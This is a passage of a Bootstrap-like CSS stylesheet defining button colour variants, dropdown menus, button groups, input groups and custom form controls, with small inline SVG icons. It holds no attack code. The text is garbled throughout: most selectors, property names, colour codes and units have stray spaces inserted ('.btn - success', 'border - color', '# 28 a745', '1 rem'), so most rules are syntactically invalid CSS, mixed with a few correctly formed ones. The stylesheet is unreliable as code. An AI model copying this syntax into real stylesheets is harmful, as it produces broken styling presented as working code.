    .btn - secondary: disabled {
        color: # fff;
        background - color: #6c757d;
      border-color: # 6 c757d
    }

.btn - secondary: not(: disabled): not(.disabled).active,
    .btn - secondary: not(: disabled): not(.disabled): active,
    .show > .btn - secondary.dropdown - toggle {
        color: # fff;
        background - color: #545b62;
      border-color: # 4e555 b
    }

.btn - secondary: not(: disabled): not(.disabled).active: focus,
    .btn - secondary: not(: disabled): not(.disabled): active: focus,
    .show > .btn - secondary.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
    }

.btn - success {
    color: # fff;
    background - color: #28a745;
      border-color: # 28 a745
}

.btn - success: hover {
    color: # fff;
    background - color: #218838;
      border-color: # 1e7 e34
}

.btn - success.focus,
    .btn - success: focus {
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
    }

.btn - success.disabled,
    .btn - success: disabled {
        color: # fff;
        background - color: #28a745;
      border-color: # 28 a745
    }

.btn - success: not(: disabled): not(.disabled).active,
    .btn - success: not(: disabled): not(.disabled): active,
    .show > .btn - success.dropdown - toggle {
        color: # fff;
        background - color: #1e7e34;
      border-color: # 1 c7430
    }

.btn - success: not(: disabled): not(.disabled).active: focus,
    .btn - success: not(: disabled): not(.disabled): active: focus,
    .show > .btn - success.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
    }

.btn - info {
    color: # fff;
    background - color: #17a2b8;
      border-color: # 17 a2b8
}

.btn - info: hover {
    color: # fff;
    background - color: #138496;
      border-color: # 117 a8b
}

.btn - info.focus,
    .btn - info: focus {
        box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
    }

.btn - info.disabled,
    .btn - info: disabled {
        color: # fff;
        background - color: #17a2b8;
      border-color: # 17 a2b8
    }

.btn - info: not(: disabled): not(.disabled).active,
    .btn - info: not(: disabled): not(.disabled): active,
    .show > .btn - info.dropdown - toggle {
        color: # fff;
        background - color: #117a8b;
      border-color: # 10707 f
    }

.btn - info: not(: disabled): not(.disabled).active: focus,
    .btn - info: not(: disabled): not(.disabled): active: focus,
    .show > .btn - info.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
    }

.btn - warning {
    color: #212529;
      background-color: # ffc107;
    border - color: # ffc107
}

.btn - warning: hover {
    color: #212529;
      background-color: # e0a800;
    border - color: # d39e00
}

.btn - warning.focus,
    .btn - warning: focus {
        box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
    }

.btn - warning.disabled,
    .btn - warning: disabled {
        color: #212529;
      background-color: # ffc107;
        border - color: # ffc107
    }

.btn - warning: not(: disabled): not(.disabled).active,
    .btn - warning: not(: disabled): not(.disabled): active,
    .show > .btn - warning.dropdown - toggle {
        color: #212529;
      background-color: # d39e00;
        border - color: # c69500
    }

.btn - warning: not(: disabled): not(.disabled).active: focus,
    .btn - warning: not(: disabled): not(.disabled): active: focus,
    .show > .btn - warning.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
    }

.btn - danger {
    color: # fff;
    background - color: # dc3545;
    border - color: # dc3545
}

.btn - danger: hover {
    color: # fff;
    background - color: # c82333;
    border - color: # bd2130
}

.btn - danger.focus,
    .btn - danger: focus {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
    }

.btn - danger.disabled,
    .btn - danger: disabled {
        color: # fff;
        background - color: # dc3545;
        border - color: # dc3545
    }

.btn - danger: not(: disabled): not(.disabled).active,
    .btn - danger: not(: disabled): not(.disabled): active,
    .show > .btn - danger.dropdown - toggle {
        color: # fff;
        background - color: # bd2130;
        border - color: # b21f2d
    }

.btn - danger: not(: disabled): not(.disabled).active: focus,
    .btn - danger: not(: disabled): not(.disabled): active: focus,
    .show > .btn - danger.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
    }

.btn - light {
    color: #212529;
      background-color: # f8f9fa;
    border - color: # f8f9fa
}

.btn - light: hover {
    color: #212529;
      background-color: # e2e6ea;
    border - color: # dae0e5
}

.btn - light.focus,
    .btn - light: focus {
        box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
    }

.btn - light.disabled,
    .btn - light: disabled {
        color: #212529;
      background-color: # f8f9fa;
        border - color: # f8f9fa
    }

.btn - light: not(: disabled): not(.disabled).active,
    .btn - light: not(: disabled): not(.disabled): active,
    .show > .btn - light.dropdown - toggle {
        color: #212529;
      background-color: # dae0e5;
        border - color: # d3d9df
    }

.btn - light: not(: disabled): not(.disabled).active: focus,
    .btn - light: not(: disabled): not(.disabled): active: focus,
    .show > .btn - light.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
    }

.btn - dark {
    color: # fff;
    background - color: #343a40;
      border-color: # 343 a40
}

.btn - dark: hover {
    color: # fff;
    background - color: #23272b;
      border-color: # 1 d2124
}

.btn - dark.focus,
    .btn - dark: focus {
        box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
    }

.btn - dark.disabled,
    .btn - dark: disabled {
        color: # fff;
        background - color: #343a40;
      border-color: # 343 a40
    }

.btn - dark: not(: disabled): not(.disabled).active,
    .btn - dark: not(: disabled): not(.disabled): active,
    .show > .btn - dark.dropdown - toggle {
        color: # fff;
        background - color: #1d2124;
      border-color: # 171 a1d
    }

.btn - dark: not(: disabled): not(.disabled).active: focus,
    .btn - dark: not(: disabled): not(.disabled): active: focus,
    .show > .btn - dark.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
    }

.btn - outline - primary {
    color: #007bff;
      background-color: transparent;
      background-image: none;
      border-color: # 007 bff
}

.btn - outline - primary: hover {
    color: # fff;
    background - color: #007bff;
      border-color: # 007 bff
}

.btn - outline - primary.focus,
    .btn - outline - primary: focus {
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
    }

.btn - outline - primary.disabled,
    .btn - outline - primary: disabled {
        color: #007bff;
      background-color: transparent
    }

    .btn-outline-primary:not(:disabled):not(.disabled).active,
    .btn-outline-primary:not(:disabled):not(.disabled):active,
    .show>.btn-outline-primary.dropdown-toggle {
      color: # fff;
        background - color: #007bff;
      border-color: # 007 bff
    }

.btn - outline - primary: not(: disabled): not(.disabled).active: focus,
    .btn - outline - primary: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - primary.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(0, 123, 255, .5)
    }

.btn - outline - secondary {
    color: #6c757d;
      background-color: transparent;
      background-image: none;
      border-color: # 6 c757d
}

.btn - outline - secondary: hover {
    color: # fff;
    background - color: #6c757d;
      border-color: # 6 c757d
}

.btn - outline - secondary.focus,
    .btn - outline - secondary: focus {
        box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
    }

.btn - outline - secondary.disabled,
    .btn - outline - secondary: disabled {
        color: #6c757d;
      background-color: transparent
    }

    .btn-outline-secondary:not(:disabled):not(.disabled).active,
    .btn-outline-secondary:not(:disabled):not(.disabled):active,
    .show>.btn-outline-secondary.dropdown-toggle {
      color: # fff;
        background - color: #6c757d;
      border-color: # 6 c757d
    }

.btn - outline - secondary: not(: disabled): not(.disabled).active: focus,
    .btn - outline - secondary: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - secondary.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(108, 117, 125, .5)
    }

.btn - outline - success {
    color: #28a745;
      background-color: transparent;
      background-image: none;
      border-color: # 28 a745
}

.btn - outline - success: hover {
    color: # fff;
    background - color: #28a745;
      border-color: # 28 a745
}

.btn - outline - success.focus,
    .btn - outline - success: focus {
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
    }

.btn - outline - success.disabled,
    .btn - outline - success: disabled {
        color: #28a745;
      background-color: transparent
    }

    .btn-outline-success:not(:disabled):not(.disabled).active,
    .btn-outline-success:not(:disabled):not(.disabled):active,
    .show>.btn-outline-success.dropdown-toggle {
      color: # fff;
        background - color: #28a745;
      border-color: # 28 a745
    }

.btn - outline - success: not(: disabled): not(.disabled).active: focus,
    .btn - outline - success: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - success.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(40, 167, 69, .5)
    }

.btn - outline - info {
    color: #17a2b8;
      background-color: transparent;
      background-image: none;
      border-color: # 17 a2b8
}

.btn - outline - info: hover {
    color: # fff;
    background - color: #17a2b8;
      border-color: # 17 a2b8
}

.btn - outline - info.focus,
    .btn - outline - info: focus {
        box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
    }

.btn - outline - info.disabled,
    .btn - outline - info: disabled {
        color: #17a2b8;
      background-color: transparent
    }

    .btn-outline-info:not(:disabled):not(.disabled).active,
    .btn-outline-info:not(:disabled):not(.disabled):active,
    .show>.btn-outline-info.dropdown-toggle {
      color: # fff;
        background - color: #17a2b8;
      border-color: # 17 a2b8
    }

.btn - outline - info: not(: disabled): not(.disabled).active: focus,
    .btn - outline - info: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - info.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(23, 162, 184, .5)
    }

.btn - outline - warning {
    color: # ffc107;
    background - color: transparent;
    background - image: none;
    border - color: # ffc107
}

.btn - outline - warning: hover {
    color: #212529;
      background-color: # ffc107;
    border - color: # ffc107
}

.btn - outline - warning.focus,
    .btn - outline - warning: focus {
        box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
    }

.btn - outline - warning.disabled,
    .btn - outline - warning: disabled {
        color: # ffc107;
        background - color: transparent
    }

.btn - outline - warning: not(: disabled): not(.disabled).active,
    .btn - outline - warning: not(: disabled): not(.disabled): active,
    .show > .btn - outline - warning.dropdown - toggle {
        color: #212529;
      background-color: # ffc107;
        border - color: # ffc107
    }

.btn - outline - warning: not(: disabled): not(.disabled).active: focus,
    .btn - outline - warning: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - warning.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(255, 193, 7, .5)
    }

.btn - outline - danger {
    color: # dc3545;
    background - color: transparent;
    background - image: none;
    border - color: # dc3545
}

.btn - outline - danger: hover {
    color: # fff;
    background - color: # dc3545;
    border - color: # dc3545
}

.btn - outline - danger.focus,
    .btn - outline - danger: focus {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
    }

.btn - outline - danger.disabled,
    .btn - outline - danger: disabled {
        color: # dc3545;
        background - color: transparent
    }

.btn - outline - danger: not(: disabled): not(.disabled).active,
    .btn - outline - danger: not(: disabled): not(.disabled): active,
    .show > .btn - outline - danger.dropdown - toggle {
        color: # fff;
        background - color: # dc3545;
        border - color: # dc3545
    }

.btn - outline - danger: not(: disabled): not(.disabled).active: focus,
    .btn - outline - danger: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - danger.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(220, 53, 69, .5)
    }

.btn - outline - light {
    color: # f8f9fa;
    background - color: transparent;
    background - image: none;
    border - color: # f8f9fa
}

.btn - outline - light: hover {
    color: #212529;
      background-color: # f8f9fa;
    border - color: # f8f9fa
}

.btn - outline - light.focus,
    .btn - outline - light: focus {
        box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
    }

.btn - outline - light.disabled,
    .btn - outline - light: disabled {
        color: # f8f9fa;
        background - color: transparent
    }

.btn - outline - light: not(: disabled): not(.disabled).active,
    .btn - outline - light: not(: disabled): not(.disabled): active,
    .show > .btn - outline - light.dropdown - toggle {
        color: #212529;
      background-color: # f8f9fa;
        border - color: # f8f9fa
    }

.btn - outline - light: not(: disabled): not(.disabled).active: focus,
    .btn - outline - light: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - light.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(248, 249, 250, .5)
    }

.btn - outline - dark {
    color: #343a40;
      background-color: transparent;
      background-image: none;
      border-color: # 343 a40
}

.btn - outline - dark: hover {
    color: # fff;
    background - color: #343a40;
      border-color: # 343 a40
}

.btn - outline - dark.focus,
    .btn - outline - dark: focus {
        box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
    }

.btn - outline - dark.disabled,
    .btn - outline - dark: disabled {
        color: #343a40;
      background-color: transparent
    }

    .btn-outline-dark:not(:disabled):not(.disabled).active,
    .btn-outline-dark:not(:disabled):not(.disabled):active,
    .show>.btn-outline-dark.dropdown-toggle {
      color: # fff;
        background - color: #343a40;
      border-color: # 343 a40
    }

.btn - outline - dark: not(: disabled): not(.disabled).active: focus,
    .btn - outline - dark: not(: disabled): not(.disabled): active: focus,
    .show > .btn - outline - dark.dropdown - toggle: focus {
        box - shadow: 0 0 0.2 rem rgba(52, 58, 64, .5)
    }

.btn - link {
    font - weight: 400;
    color: #007bff;
      background-color: transparent
    }

    .btn-link:hover {
      color: # 0056 b3;
    text - decoration: underline;
    background - color: transparent;
    border - color: transparent
}

.btn - link.focus,
    .btn - link: focus {
        text - decoration: underline;
        border - color: transparent;
        box - shadow: none
    }

.btn - link.disabled,
    .btn - link: disabled {
        color: #6c757d
    }

    .btn-group-lg>.btn,
    .btn-lg {
      padding: .5rem 1rem;
      font-size: 1.25rem;
      line-height: 1.5;
      border-radius: .3rem
    }

    .btn-group-sm>.btn,
    .btn-sm {
      padding: .25rem .5rem;
      font-size: .875rem;
      line-height: 1.5;
      border-radius: .2rem
    }

    .btn-block {
      display: block;
      width: 100%
    }

    .btn-block+.btn-block {
      margin-top: .5rem
    }

    input[type= button].btn - block,
    input[type = reset].btn - block,
    input[type = submit].btn - block {
        width: 100 %
    }

.fade {
    opacity: 0;
    transition: opacity.15 s linear
}

.fade.show {
    opacity: 1
}

.collapse {
    display: none
}

.collapse.show {
    display: block
}

tr.collapse.show {
    display: table - row
}

tbody.collapse.show {
    display: table - row - group
}

.collapsing {
    position: relative;
    height: 0;
    overflow: hidden;
    transition: height.35 s ease
}

.dropdown,
.dropup {
    position: relative
}

.dropdown - toggle::after {
    display: inline - block;
    width: 0;
    height: 0;
    margin - left: .255e m;
    vertical - align: .255e m;
    content: "";
    border - top: .3e m solid;
    border - right: .3e m solid transparent;
    border - bottom: 0;
    border - left: .3e m solid transparent
}

.dropdown - toggle: empty::after {
    margin - left: 0
}

.dropdown - menu {
    position: absolute;
    top: 100 % ;
    left: 0;
    z - index: 1000;
    display: none;
    float: left;
    min - width: 10 rem;
    padding: .5 rem 0;
    margin: .125 rem 0 0;
    font - size: 1 rem;
    color: #212529;
      text-align: left;
      list-style: none;
      background-color: # fff;
    background - clip: padding - box;
    border: 1 px solid rgba(0, 0, 0, .15);
    border - radius: .25 rem
}

.dropup.dropdown - menu {
    margin - top: 0;
    margin - bottom: .125 rem
}

.dropup.dropdown - toggle::after {
    display: inline - block;
    width: 0;
    height: 0;
    margin - left: .255e m;
    vertical - align: .255e m;
    content: "";
    border - top: 0;
    border - right: .3e m solid transparent;
    border - bottom: .3e m solid;
    border - left: .3e m solid transparent
}

.dropup.dropdown - toggle: empty::after {
    margin - left: 0
}

.dropright.dropdown - menu {
    margin - top: 0;
    margin - left: .125 rem
}

.dropright.dropdown - toggle::after {
    display: inline - block;
    width: 0;
    height: 0;
    margin - left: .255e m;
    vertical - align: .255e m;
    content: "";
    border - top: .3e m solid transparent;
    border - bottom: .3e m solid transparent;
    border - left: .3e m solid
}

.dropright.dropdown - toggle: empty::after {
    margin - left: 0
}

.dropright.dropdown - toggle::after {
    vertical - align: 0
}

.dropleft.dropdown - menu {
    margin - top: 0;
    margin - right: .125 rem
}

.dropleft.dropdown - toggle::after {
    display: inline - block;
    width: 0;
    height: 0;
    margin - left: .255e m;
    vertical - align: .255e m;
    content: ""
}

.dropleft.dropdown - toggle::after {
    display: none
}

.dropleft.dropdown - toggle::before {
    display: inline - block;
    width: 0;
    height: 0;
    margin - right: .255e m;
    vertical - align: .255e m;
    content: "";
    border - top: .3e m solid transparent;
    border - right: .3e m solid;
    border - bottom: .3e m solid transparent
}

.dropleft.dropdown - toggle: empty::after {
    margin - left: 0
}

.dropleft.dropdown - toggle::before {
    vertical - align: 0
}

.dropdown - divider {
    height: 0;
    margin: .5 rem 0;
    overflow: hidden;
    border - top: 1 px solid # e9ecef
}

.dropdown - item {
    display: block;
    width: 100 % ;
    padding: .25 rem 1.5 rem;
    clear: both;
    font - weight: 400;
    color: #212529;
      text-align: inherit;
      white-space: nowrap;
      background-color: transparent;
      border: 0
    }

    .dropdown-item:focus,
    .dropdown-item:hover {
      color: # 16181 b;
    text - decoration: none;
    background - color: # f8f9fa
}

.dropdown - item.active,
    .dropdown - item: active {
        color: # fff;
        text - decoration: none;
        background - color: #007bff
    }

    .dropdown-item.disabled,
    .dropdown-item:disabled {
      color: # 6 c757d;
        background - color: transparent
    }

.dropdown - menu.show {
    display: block
}

.dropdown - header {
        display: block;
        padding: .5 rem 1.5 rem;
        margin - bottom: 0;
        font - size: .875 rem;
        color: #6c757d;
      white-space: nowrap
    }

    .btn-group,
    .btn-group-vertical {
      position: relative;
      display: -webkit-inline-box;
      display: -ms-inline-flexbox;
      display: inline-flex;
      vertical-align: middle
    }

    .btn-group-vertical>.btn,
    .btn-group>.btn {
      position: relative;
      -webkit-box-flex: 0;
      -ms-flex: 0 1 auto;
      flex: 0 1 auto
    }

    .btn-group-vertical>.btn:hover,
    .btn-group>.btn:hover {
      z-index: 1
    }

    .btn-group-vertical>.btn.active,
    .btn-group-vertical>.btn:active,
    .btn-group-vertical>.btn:focus,
    .btn-group>.btn.active,
    .btn-group>.btn:active,
    .btn-group>.btn:focus {
      z-index: 1
    }

    .btn-group .btn+.btn,
    .btn-group .btn+.btn-group,
    .btn-group .btn-group+.btn,
    .btn-group .btn-group+.btn-group,
    .btn-group-vertical .btn+.btn,
    .btn-group-vertical .btn+.btn-group,
    .btn-group-vertical .btn-group+.btn,
    .btn-group-vertical .btn-group+.btn-group {
      margin-left: -1px
    }

    .btn-toolbar {
      display: -webkit-box;
      display: -ms-flexbox;
      display: flex;
      -ms-flex-wrap: wrap;
      flex-wrap: wrap;
      -webkit-box-pack: start;
      -ms-flex-pack: start;
      justify-content: flex-start
    }

    .btn-toolbar .input-group {
      width: auto
    }

    .btn-group>.btn:first-child {
      margin-left: 0
    }

    .btn-group>.btn-group:not(:last-child)>.btn,
    .btn-group>.btn:not(:last-child):not(.dropdown-toggle) {
      border-top-right-radius: 0;
      border-bottom-right-radius: 0
    }

    .btn-group>.btn-group:not(:first-child)>.btn,
    .btn-group>.btn:not(:first-child) {
      border-top-left-radius: 0;
      border-bottom-left-radius: 0
    }

    .dropdown-toggle-split {
      padding-right: .5625rem;
      padding-left: .5625rem
    }

    .dropdown-toggle-split::after {
      margin-left: 0
    }

    .btn-group-sm>.btn+.dropdown-toggle-split,
    .btn-sm+.dropdown-toggle-split {
      padding-right: .375rem;
      padding-left: .375rem
    }

    .btn-group-lg>.btn+.dropdown-toggle-split,
    .btn-lg+.dropdown-toggle-split {
      padding-right: .75rem;
      padding-left: .75rem
    }

    .btn-group-vertical {
      -webkit-box-orient: vertical;
      -webkit-box-direction: normal;
      -ms-flex-direction: column;
      flex-direction: column;
      -webkit-box-align: start;
      -ms-flex-align: start;
      align-items: flex-start;
      -webkit-box-pack: center;
      -ms-flex-pack: center;
      justify-content: center
    }

    .btn-group-vertical .btn,
    .btn-group-vertical .btn-group {
      width: 100%
    }

    .btn-group-vertical>.btn+.btn,
    .btn-group-vertical>.btn+.btn-group,
    .btn-group-vertical>.btn-group+.btn,
    .btn-group-vertical>.btn-group+.btn-group {
      margin-top: -1px;
      margin-left: 0
    }

    .btn-group-vertical>.btn-group:not(:last-child)>.btn,
    .btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle) {
      border-bottom-right-radius: 0;
      border-bottom-left-radius: 0
    }

    .btn-group-vertical>.btn-group:not(:first-child)>.btn,
    .btn-group-vertical>.btn:not(:first-child) {
      border-top-left-radius: 0;
      border-top-right-radius: 0
    }

    .btn-group-toggle>.btn,
    .btn-group-toggle>.btn-group>.btn {
      margin-bottom: 0
    }

    .btn-group-toggle>.btn input[type= checkbox],
    .btn - group - toggle > .btn input[type = radio],
    .btn - group - toggle > .btn - group > .btn input[type = checkbox],
    .btn - group - toggle > .btn - group > .btn input[type = radio] {
        position: absolute;
        clip: rect(0, 0, 0, 0);
        pointer - events: none
    }

.input - group {
    position: relative;
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
    flex - wrap: wrap; - webkit - box - align: stretch; - ms - flex - align: stretch;
    align - items: stretch;
    width: 100 %
}

.input - group > .custom - file,
    .input - group > .custom - select,
    .input - group > .form - control {
        position: relative; - webkit - box - flex: 1; - ms - flex: 1 1 auto;
        flex: 1 1 auto;
        width: 1 % ;
        margin - bottom: 0
    }

.input - group > .custom - file: focus,
    .input - group > .custom - select: focus,
    .input - group > .form - control: focus {
        z - index: 3
    }

.input - group > .custom - file + .custom - file,
    .input - group > .custom - file + .custom - select,
    .input - group > .custom - file + .form - control,
    .input - group > .custom - select + .custom - file,
    .input - group > .custom - select + .custom - select,
    .input - group > .custom - select + .form - control,
    .input - group > .form - control + .custom - file,
    .input - group > .form - control + .custom - select,
    .input - group > .form - control + .form - control {
        margin - left: -1 px
    }

.input - group > .custom - select: not(: last - child),
    .input - group > .form - control: not(: last - child) {
        border - top - right - radius: 0;
        border - bottom - right - radius: 0
    }

.input - group > .custom - select: not(: first - child),
    .input - group > .form - control: not(: first - child) {
        border - top - left - radius: 0;
        border - bottom - left - radius: 0
    }

.input - group > .custom - file {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - align: center; - ms - flex - align: center;
    align - items: center
}

.input - group > .custom - file: not(: last - child).custom - file - label,
    .input - group > .custom - file: not(: last - child).custom - file - label::before {
        border - top - right - radius: 0;
        border - bottom - right - radius: 0
    }

.input - group > .custom - file: not(: first - child).custom - file - label,
    .input - group > .custom - file: not(: first - child).custom - file - label::before {
        border - top - left - radius: 0;
        border - bottom - left - radius: 0
    }

.input - group - append,
    .input - group - prepend {
        display: -webkit - box;
        display: -ms - flexbox;
        display: flex
    }

.input - group - append.btn,
    .input - group - prepend.btn {
        position: relative;
        z - index: 2
    }

.input - group - append.btn + .btn,
    .input - group - append.btn + .input - group - text,
    .input - group - append.input - group - text + .btn,
    .input - group - append.input - group - text + .input - group - text,
    .input - group - prepend.btn + .btn,
    .input - group - prepend.btn + .input - group - text,
    .input - group - prepend.input - group - text + .btn,
    .input - group - prepend.input - group - text + .input - group - text {
        margin - left: -1 px
    }

.input - group - prepend {
    margin - right: -1 px
}

.input - group - append {
    margin - left: -1 px
}

.input - group - text {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - webkit - box - align: center; - ms - flex - align: center;
    align - items: center;
    padding: .375 rem.75 rem;
    margin - bottom: 0;
    font - size: 1 rem;
    font - weight: 400;
    line - height: 1.5;
    color: #495057;
      text-align: center;
      white-space: nowrap;
      background-color: # e9ecef;
    border: 1 px solid # ced4da;
    border - radius: .25 rem
}

.input - group - text input[type = checkbox],
    .input - group - text input[type = radio] {
        margin - top: 0
    }

.input - group > .input - group - append: last - child > .btn: not(: last - child): not(.dropdown - toggle),
    .input - group > .input - group - append: last - child > .input - group - text: not(: last - child),
    .input - group > .input - group - append: not(: last - child) > .btn,
    .input - group > .input - group - append: not(: last - child) > .input - group - text,
    .input - group > .input - group - prepend > .btn,
    .input - group > .input - group - prepend > .input - group - text {
        border - top - right - radius: 0;
        border - bottom - right - radius: 0
    }

.input - group > .input - group - append > .btn,
    .input - group > .input - group - append > .input - group - text,
    .input - group > .input - group - prepend: first - child > .btn: not(: first - child),
    .input - group > .input - group - prepend: first - child > .input - group - text: not(: first - child),
    .input - group > .input - group - prepend: not(: first - child) > .btn,
    .input - group > .input - group - prepend: not(: first - child) > .input - group - text {
        border - top - left - radius: 0;
        border - bottom - left - radius: 0
    }

.custom - control {
    position: relative;
    display: block;
    min - height: 1.5 rem;
    padding - left: 1.5 rem
}

.custom - control - inline {
    display: -webkit - inline - box;
    display: -ms - inline - flexbox;
    display: inline - flex;
    margin - right: 1 rem
}

.custom - control - input {
    position: absolute;
    z - index: -1;
    opacity: 0
}

.custom - control - input: checked~.custom - control - label::before {
    color: # fff;
    background - color: #007bff
    }

    .custom-control-input:focus~.custom-control-label::before {
      box-shadow: 0 0 0 1px # fff,
    0 0 0.2 rem rgba(0, 123, 255, .25)
}

.custom - control - input: active~.custom - control - label::before {
    color: # fff;
    background - color: # b3d7ff
}

.custom - control - input: disabled~.custom - control - label {
    color: #6c757d
    }

    .custom-control-input:disabled~.custom-control-label::before {
      background-color: # e9ecef
}

.custom - control - label {
    margin - bottom: 0
}

.custom - control - label::before {
    position: absolute;
    top: .25 rem;
    left: 0;
    display: block;
    width: 1 rem;
    height: 1 rem;
    pointer - events: none;
    content: ""; - webkit - user - select: none; - moz - user - select: none; - ms - user - select: none;
    user - select: none;
    background - color: # dee2e6
}

.custom - control - label::after {
    position: absolute;
    top: .25 rem;
    left: 0;
    display: block;
    width: 1 rem;
    height: 1 rem;
    content: "";
    background - repeat: no - repeat;
    background - position: center center;
    background - size: 50 % 50 %
}

.custom - checkbox.custom - control - label::before {
    border - radius: .25 rem
}

.custom - checkbox.custom - control - input: checked~.custom - control - label::before {
    background - color: #007bff
    }

    .custom-checkbox .custom-control-input:checked~.custom-control-label::after {
      background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
    viewBox = '0 0 8 8' % 3E % 3 Cpath fill = '%23fff'
    d = 'M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z' / % 3E % 3 C / svg % 3E ")
}

.custom - checkbox.custom - control - input: indeterminate~.custom - control - label::before {
    background - color: #007bff
    }

    .custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after {
      background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
    viewBox = '0 0 4 4' % 3E % 3 Cpath stroke = '%23fff'
    d = 'M0 2h4' / % 3E % 3 C / svg % 3E ")
}

.custom - checkbox.custom - control - input: disabled: checked~.custom - control - label::before {
    background - color: rgba(0, 123, 255, .5)
}

.custom - checkbox.custom - control - input: disabled: indeterminate~.custom - control - label::before {
    background - color: rgba(0, 123, 255, .5)
}

.custom - radio.custom - control - label::before {
    border - radius: 50 %
}

.custom - radio.custom - control - input: checked~.custom - control - label::before {
    background - color: #007bff
    }

    .custom-radio .custom-control-input:checked~.custom-control-label::after {
      background-image: url("data:image/svg+xml;charset= utf8, % 3 Csvg xmlns = 'http://www.w3.org/2000/svg'
    viewBox = '-4 -4 8 8' % 3E % 3 Ccircle r = '3'
    fill = '%23fff' / % 3E % 3 C / svg % 3E ")
}

.custom - radio.custom - control - input: disabled: checked~.custom - control - label::before {
    background - color: rgba(0, 123, 255, .5)
}

.custom - select {
    display: inline - block;
    width: 100 % ;
    height: calc(2.25 rem + 2 px);
    padding: .375 rem 1.75 rem.375 rem.75 rem;
    line - height: 1.5;
    color: #495057;
      vertical-align: middle;
      background: # fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no - repeat right.75 rem center;
    background - size: 8 px 10 px;
    border: 1 px solid # ced4da;
    border - radius: .25 rem; - webkit - appearance: none; - moz - appearance: none;
    appearance: none
}

.custom - select: focus {
    border - color: #80bdff;
      outline: 0;
      box-shadow: inset 0 1px 2px rgba(0, 0, 0, .075), 0 0 5px rgba(128, 189, 255, .5)
    }

    .custom-select:focus::-ms-value {
      color: # 495057;
    background - color: # fff
}

.custom - select[multiple],
    .custom - select[size]: not([size = "1"]) {
        height: auto;
        padding - right: .75 rem;
        background - image: none
    }

.custom - select: disabled {
    color: #6c757d;
      background-color: # e9ecef
}

.custom - select::-ms - expand {
    opacity: 0
}

.custom - select - sm {
    height: calc(1.8125 rem + 2 px);
    padding - top: .375 rem;
    padding - bottom: .375 rem;
    font - size: 75 %
}

.custom - select - lg {
    height: calc(2.875 rem + 2 px);
    padding - top: .375 rem;
    padding - bottom: .375 rem;
    font - size: 125 %
}

.custom - file {
    position: relative;
    display: inline - block;
    width: 100 % ;
    height: calc(2.25 rem + 2 px);
    margin - bottom: 0
}

.custom - file - input {
    position: relative;
    z - index: 2;
    width: 100 % ;
    height: calc(2.25 rem + 2 px);
    margin: 0;
    opacity: 0
}

.custom - file - input: focus~.custom - file - control {
    border - color: #80bdff;
      box-shadow: 0 0 0 .2rem rgba(0, 123, 255, .25)
    }

    .custom-file-input:focus~.custom-file-control::before {
      border-color: # 80 bdff
}

.custom - file - input: lang(en) ~.custom - file - label::after {
    content: "Browse"
}

.custom - file - label {
    position: absolute;
    top: 0;
    right: 0;
    left: 0;
    z - index: 1;
    height: calc(2.25 rem + 2 px);
    padding: .375 rem.75 rem;
    line - height: 1.5;
    color: #495057;
      background-color: # fff;
    border: 1 px solid # ced4da;
    border - radius: .25 rem
}

.custom - file - label::after {
    position: absolute;
    top: 0;
    right: 0;
    bottom: 0;
    z - index: 3;
    display: block;
    height: calc(calc(2.25 rem + 2 px) - 1 px * 2);
    padding: .375 rem.75 rem;
    line - height: 1.5;
    color: #495057;
      content: "Browse";
      background-color: # e9ecef;
    border - left: 1 px solid # ced4da;
    border - radius: 0.25 rem.25 rem 0
}

.nav {
    display: -webkit - box;
    display: -ms - flexbox;
    display: flex; - ms - flex - wrap: wrap;
